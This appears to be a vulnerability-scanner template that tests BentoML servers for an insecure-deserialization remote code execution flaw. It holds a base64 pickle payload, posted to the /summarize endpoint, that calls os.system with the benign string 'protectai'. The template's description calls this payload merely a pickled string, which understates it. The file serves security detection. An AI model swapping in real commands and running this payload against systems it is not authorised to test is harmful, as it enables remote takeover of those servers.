1id: bentoml-rce
2info:
3  name: BentoML Insecure Deserialization RCE Simulation
4  author: DanMcInerney, byt3bl33d3r, pinkdraconian
5  severity: critical
6  description: Simulates an insecure deserialization attack on BentoML to trigger remote code execution. Binary data is string "protectai" pickled.
7  reference:
8    - https://huntr.com/bounties/349a1cce-6bb5-4345-82a5-bf7041b65a68
9  classification:
10    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
11    cvss-score: 9.8
12    cwe-id: CWE-1188 # Insecure Default Initialization of Resource
13  tags: bentoml, rce, deserialization, protectai, huntr, ai, machine-learning
14requests:
15  - method: POST
16    path:
17      - "{{BaseURL}}/summarize"
18    headers:
19      Content-Type: "application/vnd.bentoml+pickle"
20    body: !!binary |
21      gASVJAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAlwcm90ZWN0YWmUhZRSlC4=
22    matchers-condition: and
23    matchers:
24      - type: word
25        words:
26          - "Input should be a valid dictionary or instance of Input"
27        part: body